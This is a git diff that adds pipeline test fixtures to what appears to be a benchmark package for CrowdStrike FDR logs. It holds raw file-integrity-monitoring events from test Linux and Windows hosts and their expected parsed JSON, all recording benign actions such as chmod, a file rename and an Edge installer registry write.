+                "original": "{\"CommandLine\":\"chmod +x test.sh\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56470381986263\",\"ContextTimeStamp\":\"1764939765.615\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"ImageFileName\":\"/usr/bin/chmod\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"NewUnixPermissions\":\"509\",\"ObjectAccessOperationType\":\"7\",\"ObjectName\":\"/home/testuser/filevantage/test.sh\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"PreviousUnixPermissions\":\"436\",\"RUID\":\"1000\",\"RawProcessId\":\"1205\",\"RuleModifiedTimeStamp\":\"\",\"SecurityInformationLinux\":\"1\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"48cd83c0-62ba-471c-a6a2-fa5309195dde\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764939766240\"}",
+                "severity": 73,
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "directory": "/home/testuser/filevantage",
+                "extension": "sh",
+                "name": "test.sh",
+                "path": "/home/testuser/filevantage/test.sh",
+                "type": "file"
+            },
+            "host": {
+                "hostname": "LINUX-TEST-HOST-01",
+                "id": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "name": "LINUX-TEST-HOST-01",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "FileIntegrityMonitorRuleMatched",
+            "observer": {
+                "address": [
+                    "192.0.2.1"
+                ],
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": [
+                    "192.0.2.1"
+                ],
+                "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "version": "1007.8.0018308.15"
+            },
+            "process": {
+                "args": [
+                    "chmod",
+                    "+x",
+                    "test.sh"
+                ],
+                "args_count": 3,
+                "command_line": "chmod +x test.sh",
+                "entity_id": "56470381986263",
+                "executable": "/usr/bin/chmod",
+                "name": "chmod",
+                "pid": 1205,
+                "real_user": {
+                    "id": "1000"
+                }
+            },
+            "related": {
+                "hash": [
+                    "4077874319"
+                ],
+                "hosts": [
+                    "LINUX-TEST-HOST-01"
+                ],
+                "ip": [
+                    "192.0.2.1",
+                    "192.0.2.11"
+                ],
+                "user": [
+                    "testuser",
+                    "1000"
+                ]
+            },
+            "rule": {
+                "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235",
+                "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E"
+            },
+            "source": {
+                "address": "192.0.2.11",
+                "as": {
+                    "number": 64500,
+                    "organization": {
+                        "name": "Documentation ASN"
+                    }
+                },
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": "192.0.2.11"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "1000"
+                    }
+                },
+                "id": "1000",
+                "name": "testuser"
+            }
+        },
+        {
+            "@timestamp": "2025-12-05T13:15:28.352Z",
+            "crowdstrike": {
+                "ConfigStateHash": "4077874319",
+                "ContextProcessId": "56480700653114",
+                "ContextTimeStamp": "2025-12-05T13:15:27.728Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "GrandparentImageFileName": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node",
+                "IsEBPF": "0",
+                "IsFromDifferentMountNamespace": "0",
+                "LocalAddressIP4": [
+                    "192.0.2.11"
+                ],
+                "ObjectAccessOperationType": "RENAME",
+                "ObjectType": "FILE",
+                "ParentImageFileName": "/usr/bin/bash",
+                "Policy": {
+                    "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6"
+                },
+                "PolicyRuleSeverity": 3,
+                "RUID": "1000",
+                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
+                "id": "54049e9e-d8c2-41c8-8822-98687f7a3608",
+                "name": "FileIntegrityMonitorRuleMatchedLinV9"
+            },
+            "device": {
+                "id": "2e3d9c94d9c34764860b1f3b444c6d4d"
+            },
+            "event": {
+                "action": "FileIntegrityMonitorRuleMatched",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-12-05T13:15:28.352Z",
+                "id": "54049e9e-d8c2-41c8-8822-98687f7a3608|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70",
+                "kind": "event",
+                "original": "{\"CommandLine\":\"mv test.txt newname.txt\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56480700653114\",\"ContextTimeStamp\":\"1764940527.728\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"ImageFileName\":\"/usr/bin/mv\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"ObjectAccessOperationType\":\"5\",\"ObjectName\":\"/home/testuser/filevantage/test.txt\",\"ObjectNameNew\":\"/home/testuser/filevantage/newname.txt\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"RUID\":\"1000\",\"RawProcessId\":\"21533\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"54049e9e-d8c2-41c8-8822-98687f7a3608\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764940528352\"}",
+                "severity": 73,
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "Ext": {
+                    "original": {
+                        "name": "test.txt",
+                        "path": "/home/testuser/filevantage/test.txt"
+                    }
+                },
+                "directory": "/home/testuser/filevantage",
+                "extension": "txt",
+                "name": "newname.txt",
+                "path": "/home/testuser/filevantage/newname.txt",
+                "type": "file"
+            },
+            "host": {
+                "hostname": "LINUX-TEST-HOST-01",
+                "id": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "name": "LINUX-TEST-HOST-01",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "FileIntegrityMonitorRuleMatched",
+            "observer": {
+                "address": [
+                    "192.0.2.1"
+                ],
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": [
+                    "192.0.2.1"
+                ],
+                "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "version": "1007.8.0018308.15"
+            },
+            "process": {
+                "args": [
+                    "mv",
+                    "test.txt",
+                    "newname.txt"
+                ],
+                "args_count": 3,
+                "command_line": "mv test.txt newname.txt",
+                "entity_id": "56480700653114",
+                "executable": "/usr/bin/mv",
+                "name": "mv",
+                "pid": 21533,
+                "real_user": {
+                    "id": "1000"
+                }
+            },
+            "related": {
+                "hash": [
+                    "4077874319"
+                ],
+                "hosts": [
+                    "LINUX-TEST-HOST-01"
+                ],
+                "ip": [
+                    "192.0.2.1",
+                    "192.0.2.11"
+                ],
+                "user": [
+                    "testuser",
+                    "1000"
+                ]
+            },
+            "rule": {
+                "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235",
+                "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E"
+            },
+            "source": {
+                "address": "192.0.2.11",
+                "as": {
+                    "number": 64500,
+                    "organization": {
+                        "name": "Documentation ASN"
+                    }
+                },
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": "192.0.2.11"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "1000"
+                    }
+                },
+                "id": "1000",
+                "name": "testuser"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log
new file mode 100644
index 0000000000..1bc60f9825
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log
@@ -0,0 +1,2 @@
+{"AuthenticationId": "999","CommandLine": "\"C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging","ComputerName": "WIN-TEST-HOST-01","ConfigBuild": "1007.3.0020403.15","ConfigStateHash": "997826216","ContextProcessId": "23006475544","ContextTimeStamp": "1768081238.291","EffectiveTransmissionClass": "3","Entitlements": "15","EventOrigin": "1","GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe","ImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe","LocalAddressIP4": "192.0.2.10","ObjectAccessOperationType": "4","ObjectName": "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}","ObjectType": "3","ParentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\EDGEMITMP_BFB80.tmp\\setup.exe","PolicyIdentifier": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693","PolicyRuleGroupID": "E9EBD120-0D58-4F9B-81D7-D678D58A678F","PolicyRuleID": "B9902971-B750-40F0-81E6-BC5C60624E6F","PolicyRuleSeverity": "3","RawProcessId": "6208","RegType": "1","RuleModifiedTimeStamp": "","UserName": "WIN-TEST-HOST-01$","UserSid": "S-1-5-18","aid": "05831d09e02c4949a44cf99ffa54f2ed","aip": "192.0.2.1","cid": "2cc98db1a47b4c98b913c94d43bfab70","event_platform": "Win","event_simpleName": "FileIntegrityMonitorRuleMatched","id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0","name": "FileIntegrityMonitorRuleMatchedV11","timestamp": "1768081239013"}
+{"AuthenticationId": "89056942","CommandLine": "C:\\Windows\\Explorer.EXE","ComputerName": "WIN-TEST-HOST-01","ConfigBuild": "1007.3.0020403.15","ConfigStateHash": "3236037079","ContextProcessId": "21005463680","ContextTimeStamp": "1767954716.910","EffectiveTransmissionClass": "3","Entitlements": "15","EventOrigin": "1","GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\winlogon.exe","ImageFileName": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe","LocalAddressIP4": "192.0.2.10","ObjectAccessOperationType": "5","ObjectName": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\folder","ObjectNameNew": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\New folder","ObjectType": "2","ParentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","PolicyIdentifier": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693","PolicyRuleGroupID": "F8BE81CC-38EE-406D-8D42-5B748F35E5BD","PolicyRuleID": "BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84","PolicyRuleSeverity": "1","RawProcessId": "3060","RuleModifiedTimeStamp": "","UserName": "testuser","UserSid": "S-1-5-21-1234567890-1234567890-1234567890-1001","aid": "05831d09e02c4949a44cf99ffa54f2ed","aip": "192.0.2.2","cid": "2cc98db1a47b4c98b913c94d43bfab70","event_platform": "Win","event_simpleName": "FileIntegrityMonitorRuleMatched","id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b","name": "FileIntegrityMonitorRuleMatchedV11","timestamp": "1767954717566"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json
new file mode 100644
index 0000000000..63dee427f8
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json
@@ -0,0 +1,297 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2026-01-10T21:40:39.013Z",
+            "crowdstrike": {
+                "AuthenticationId": "999",
+                "ConfigStateHash": "997826216",
+                "ContextProcessId": "23006475544",
+                "ContextTimeStamp": "2026-01-10T21:40:38.291Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe",
+                "LocalAddressIP4": [
+                    "192.0.2.10"
+                ],
+                "ObjectAccessOperationType": "SET",
+                "ObjectType": "VALUE",
+                "ParentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\EDGEMITMP_BFB80.tmp\\setup.exe",
+                "Policy": {
+                    "ID": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693"
+                },
+                "PolicyRuleSeverity": 3,
+                "RegType": "1",
+                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
+                "id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0",
+                "name": "FileIntegrityMonitorRuleMatchedV11"
+            },
+            "device": {
+                "id": "05831d09e02c4949a44cf99ffa54f2ed"
+            },
+            "event": {
+                "action": "FileIntegrityMonitorRuleMatched",
+                "category": [
+                    "registry"
+                ],
+                "created": "2026-01-10T21:40:39.013Z",
+                "id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0|05831d09e02c4949a44cf99ffa54f2ed|2cc98db1a47b4c98b913c94d43bfab70",
+                "kind": "event",
+                "original": "{\"AuthenticationId\": \"999\",\"CommandLine\": \"\\\"C:\\\\Program Files (x86)\\\\Microsoft\\\\EdgeWebView\\\\Application\\\\143.0.3650.139\\\\Installer\\\\setup.exe\\\" --msedgewebview --delete-old-versions --system-level --verbose-logging\",\"ComputerName\": \"WIN-TEST-HOST-01\",\"ConfigBuild\": \"1007.3.0020403.15\",\"ConfigStateHash\": \"997826216\",\"ContextProcessId\": \"23006475544\",\"ContextTimeStamp\": \"1768081238.291\",\"EffectiveTransmissionClass\": \"3\",\"Entitlements\": \"15\",\"EventOrigin\": \"1\",\"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe\",\"ImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeWebView\\\\Application\\\\143.0.3650.139\\\\Installer\\\\setup.exe\",\"LocalAddressIP4\": \"192.0.2.10\",\"ObjectAccessOperationType\": \"4\",\"ObjectName\": \"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}\",\"ObjectType\": \"3\",\"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\\\EDGEMITMP_BFB80.tmp\\\\setup.exe\",\"PolicyIdentifier\": \"A6E87944-7FC6-434D-ABBE-CDFFB14F7693\",\"PolicyRuleGroupID\": \"E9EBD120-0D58-4F9B-81D7-D678D58A678F\",\"PolicyRuleID\": \"B9902971-B750-40F0-81E6-BC5C60624E6F\",\"PolicyRuleSeverity\": \"3\",\"RawProcessId\": \"6208\",\"RegType\": \"1\",\"RuleModifiedTimeStamp\": \"\",\"UserName\": \"WIN-TEST-HOST-01$\",\"UserSid\": \"S-1-5-18\",\"aid\": \"05831d09e02c4949a44cf99ffa54f2ed\",\"aip\": \"192.0.2.1\",\"cid\": \"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\": \"Win\",\"event_simpleName\": \"FileIntegrityMonitorRuleMatched\",\"id\": \"fa2d4a8a-df61-4d4a-b1da-d04140d2faf0\",\"name\": \"FileIntegrityMonitorRuleMatchedV11\",\"timestamp\": \"1768081239013\"}",
+                "severity": 73,
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "hostname": "WIN-TEST-HOST-01",
+                "id": "05831d09e02c4949a44cf99ffa54f2ed",
+                "name": "WIN-TEST-HOST-01",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FileIntegrityMonitorRuleMatched",
+            "observer": {
+                "address": [
+                    "192.0.2.1"
+                ],
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": [
+                    "192.0.2.1"
+                ],
+                "serial_number": "05831d09e02c4949a44cf99ffa54f2ed",
+                "version": "1007.3.0020403.15"
+            },
+            "process": {
+                "args": [
+                    "C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe",
+                    "--msedgewebview",
+                    "--delete-old-versions",
+                    "--system-level",
+                    "--verbose-logging"
+                ],
+                "args_count": 5,
+                "command_line": "\"C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging",
+                "entity_id": "23006475544",
+                "executable": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe",
+                "name": "setup.exe",
+                "pid": 6208
+            },
+            "registry": {
+                "data": {
+                    "type": "REG_SZ"
+                },
+                "key": "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\",
+                "path": "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}",
+                "value": "msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}"
+            },
+            "related": {
+                "hash": [
+                    "997826216"
+                ],
+                "hosts": [
+                    "WIN-TEST-HOST-01"
+                ],
+                "ip": [
+                    "192.0.2.1",
+                    "192.0.2.10"
+                ],
+                "user": [
+                    "WIN-TEST-HOST-01$",
+                    "S-1-5-18"
+                ]
+            },
+            "rule": {
+                "id": "B9902971-B750-40F0-81E6-BC5C60624E6F",
+                "ruleset": "E9EBD120-0D58-4F9B-81D7-D678D58A678F"
+            },
+            "source": {
+                "address": "192.0.2.10",
+                "as": {
+                    "number": 64500,
+                    "organization": {
+                        "name": "Documentation ASN"
+                    }
+                },
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": "192.0.2.10"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-5-18",
+                "name": "WIN-TEST-HOST-01$"
+            }
+        },
+        {
+            "@timestamp": "2026-01-09T10:31:57.566Z",
+            "crowdstrike": {
+                "AuthenticationId": "89056942",
+                "ConfigStateHash": "3236037079",
+                "ContextProcessId": "21005463680",
+                "ContextTimeStamp": "2026-01-09T10:31:56.910Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\winlogon.exe",
+                "LocalAddressIP4": [
+                    "192.0.2.10"
+                ],
+                "ObjectAccessOperationType": "RENAME",
+                "ObjectType": "FOLDER",
+                "ParentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                "Policy": {
+                    "ID": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693"
+                },
+                "PolicyRuleSeverity": 1,
+                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
+                "id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b",
+                "name": "FileIntegrityMonitorRuleMatchedV11"
+            },
+            "device": {
+                "id": "05831d09e02c4949a44cf99ffa54f2ed"
+            },
+            "event": {
+                "action": "FileIntegrityMonitorRuleMatched",
+                "category": [
+                    "file"
+                ],
+                "created": "2026-01-09T10:31:57.566Z",
+                "id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b|05831d09e02c4949a44cf99ffa54f2ed|2cc98db1a47b4c98b913c94d43bfab70",
+                "kind": "event",
+                "original": "{\"AuthenticationId\": \"89056942\",\"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\"ComputerName\": \"WIN-TEST-HOST-01\",\"ConfigBuild\": \"1007.3.0020403.15\",\"ConfigStateHash\": \"3236037079\",\"ContextProcessId\": \"21005463680\",\"ContextTimeStamp\": \"1767954716.910\",\"EffectiveTransmissionClass\": \"3\",\"Entitlements\": \"15\",\"EventOrigin\": \"1\",\"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\winlogon.exe\",\"ImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"LocalAddressIP4\": \"192.0.2.10\",\"ObjectAccessOperationType\": \"5\",\"ObjectName\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\testuser\\\\Desktop\\\\filevantage\\\\folder\",\"ObjectNameNew\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\testuser\\\\Desktop\\\\filevantage\\\\New folder\",\"ObjectType\": \"2\",\"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"PolicyIdentifier\": \"A6E87944-7FC6-434D-ABBE-CDFFB14F7693\",\"PolicyRuleGroupID\": \"F8BE81CC-38EE-406D-8D42-5B748F35E5BD\",\"PolicyRuleID\": \"BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84\",\"PolicyRuleSeverity\": \"1\",\"RawProcessId\": \"3060\",\"RuleModifiedTimeStamp\": \"\",\"UserName\": \"testuser\",\"UserSid\": \"S-1-5-21-1234567890-1234567890-1234567890-1001\",\"aid\": \"05831d09e02c4949a44cf99ffa54f2ed\",\"aip\": \"192.0.2.2\",\"cid\": \"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\": \"Win\",\"event_simpleName\": \"FileIntegrityMonitorRuleMatched\",\"id\": \"a9e7eae2-3f8e-44c9-b847-40cf2af49e2b\",\"name\": \"FileIntegrityMonitorRuleMatchedV11\",\"timestamp\": \"1767954717566\"}",
+                "severity": 21,
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "Ext": {
+                    "original": {
+                        "name": "folder",
+                        "path": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\folder"
+                    }
+                },
+                "directory": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage",
+                "name": "New folder",
+                "path": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\New folder",
+                "type": "dir"
+            },
+            "host": {
+                "hostname": "WIN-TEST-HOST-01",
+                "id": "05831d09e02c4949a44cf99ffa54f2ed",
+                "name": "WIN-TEST-HOST-01",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FileIntegrityMonitorRuleMatched",
+            "observer": {
+                "address": [
+                    "192.0.2.2"
+                ],
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": [
+                    "192.0.2.2"
+                ],
+                "serial_number": "05831d09e02c4949a44cf99ffa54f2ed",
+                "version": "1007.3.0020403.15"
+            },
+            "process": {
+                "args": [
+                    "C:\\Windows\\Explorer.EXE"
+                ],
+                "args_count": 1,
+                "command_line": "C:\\Windows\\Explorer.EXE",
+                "entity_id": "21005463680",
+                "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                "name": "explorer.exe",
+                "pid": 3060
+            },
+            "related": {
+                "hash": [
+                    "3236037079"
+                ],
+                "hosts": [
+                    "WIN-TEST-HOST-01"
+                ],
+                "ip": [
+                    "192.0.2.2",
+                    "192.0.2.10"
+                ],
+                "user": [
+                    "testuser",
+                    "S-1-5-21-1234567890-1234567890-1234567890-1001"
+                ]
+            },
+            "rule": {
+                "id": "BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84",
+                "ruleset": "F8BE81CC-38EE-406D-8D42-5B748F35E5BD"
+            },
+            "source": {
+                "address": "192.0.2.10",
+                "as": {
+                    "number": 64500,
+                    "organization": {
+                        "name": "Documentation ASN"
+                    }
+                },
+                "geo": {
+                    "city_name": "Las Vegas",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 36.17497,
+                        "lon": -115.13722
+                    },
+                    "region_iso_code": "US-NV",
+                    "region_name": "Nevada"
+                },
+                "ip": "192.0.2.10"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-5-21-1234567890-1234567890-1234567890-1001",
+                "name": "testuser"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log
new file mode 100644
index 0000000000..24929e164d
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log
@@ -0,0 +1 @@
